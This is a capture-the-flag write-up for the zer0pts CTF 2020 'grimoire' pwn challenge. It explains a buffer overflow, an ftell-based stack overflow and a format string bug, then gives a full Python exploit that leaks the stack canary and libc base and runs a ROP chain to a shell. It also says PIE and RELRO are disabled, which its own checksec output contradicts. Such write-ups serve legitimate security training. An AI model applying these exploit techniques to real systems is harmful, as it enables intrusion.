# [zer0pts CTF 2020] grimoire ###### tags: `zer0pts CTF` `pwn` ## 概要 We're given an ELF, libc and the source code. PIE and RELRO are disabled. ``` $ checksec -f chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 101 Symbols Yes 0 14 chall ``` We can open/read/edit/close a book in this program. open calls `fopen(filepath, "r")` but `filepath` is fixed to `grimoire.txt`. close calls `fclose(fp)`. In read, it gets the filesize by `ftell` and `fread`s the contents into local buffer. If it works, it'll `memcpy` the buffer to a global variable. You can edit the contents in edit. ## Solution ### Vulnerability-1 The first one is simple. The size in which we can write in edit is fixed to `GRIMOIRE_SIZE`, even though we can specify the starting offset. So, it has **Buffer Overflow**. There's `filepath` after `text`, which we may control by this vulnerability. **\*You can't guess the filepath of the flag** ### Vulnerability-2 Reading the source code of `grimoire_read`, we see it gets the filesize by `ftell`: ```cpp fseek(fp, 0, SEEK_END); size = ftell(fp); fseek(fp, 0, SEEK_SET); memset(buffer, 0, GRIMOIRE_SIZE); if (fread(buffer, sizeof(char), size, fp) == 0) ``` The size is of `unsigned short`. `ftell` returns -1 for some special files, which can be regarded as a big value in `unsigned short`. This can cause **Stack Overflow**. ### Vulnerability-3 Let's check the code around `error` function: ```cpp void error(const char *s, char *errstring) { const char *colon; char *errmsg; if (s == NULL || *s == '\0') { s = colon = ""; } else { colon = ": "; } errmsg = (char*)malloc(strlen(s) + strlen(colon) + strlen(errstring) + 2); snprintf(errmsg, malloc_usable_size(errmsg), "%s%s%s\n", s, colon, errstring); fprintf(stderr, errmsg); free(errmsg); } ``` It's similar to `perror` but writes buffer made by `snprintf` to stderr directly. Let's check if we can control `s` anywhere. ```cpp if (fp == NULL) { error(filepath, "No such file or directory"); puts("You lost the grimoire..."); return; } ``` As we can control the data of filepath using Vulnerability-1, it causes **Format String Bug**. ## Plan Because the FSB happens on a global variable, we don't have AAW privmitive. Still, we can leak the libc/heap/stack adresses. We use Vulnerability-2 to cause a stack overflow by opening `/proc/self/fd/0`. However, we have problem here. As we changed `filepath` in order to leak addresses, we can't open a file anymore. We craft an FSB payload which leaks the canary and libc value, while on the other hand changes the filepath to an available one. The first argument of the format string is `filepath`. Thus, we can write some data there. Some short paths such as `.` or `./` are available for `fopen` function. After FSB works, you can edit `filepath` again and open `/proc/self/fd/0` to ROP. ## Exploit ```python= from ptrlib import * def open_book(): sock.sendlineafter("> ", "1") return def read_book(): sock.sendlineafter("> ", "2") x = sock.recvuntil("\n") if b"fread" in x: return None text = sock.recvuntil("*").rstrip(b"*") return text def read_book_pwn(data): sock.sendlineafter("> ", "2") sock.send(data) sock.recvuntil("*\n") text = sock.recvuntil("*").rstrip(b"*") return text def edit_book(offset, text): sock.sendlineafter("> ", "3") sock.sendlineafter("Offset: ", str(offset)) sock.sendafter("Text: ", text) return def close_book(): sock.sendlineafter("> ", "4") return libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("../distfiles/chall") sock = Socket("localhost", 9008) delta = 0xe7 rop_pop_rdi = 0x0002155f rop_pop_rsi = 0x00023e6a rop_pop_rdx = 0x00001b96 rop_pop_rax = 0x000439c7 rop_syscall = 0x000013c0 # Leak libc base and canary payload = b'A' * 0x10 payload += p64(0) # fp payload += p64(0) # init payload += b"\x00" * 0x10 payload += b"%10$p.%22$p." # filepath (34 bytes will be printed here) payload += str2bytes("%{}c%6$hn".format(46 - 34)) # set filepath = ".\x00" open_book() read_book() edit_book(0x1f0, payload) open_book() r = sock.recvuntil(":").rstrip(b":").split(b".") canary = int(r[0], 16) libc_base = int(r[1], 16) - libc.symbol("__libc_start_main") - delta logger.info("canary = " + hex(canary)) logger.info("libc base = " + hex(libc_base)) # ROP payload = b'A' * 0x10 payload += p64(0) # fp payload += p64(0) # init payload += b"\x00" * 0x10 payload += b"/proc/self/fd/0\x00" # filepath open_book() read_book() edit_book(0x1f0, payload) payload = b"A" * (0x200)# - 3 + 8) payload += p64(0) payload += p64(canary) payload += p64(0) payload += p64(libc_base + rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + rop_pop_rsi) payload += p64(0) payload += p64(libc_base + rop_pop_rdx) payload += p64(0) payload += p64(libc_base + rop_pop_rax) payload += p64(59) payload += p64(libc_base + rop_syscall) payload += b'\x00' * (0x4000 - len(payload)) open_book() read_book_pwn(payload) sock.recvline() # Get the shell!!! sock.interactive() ```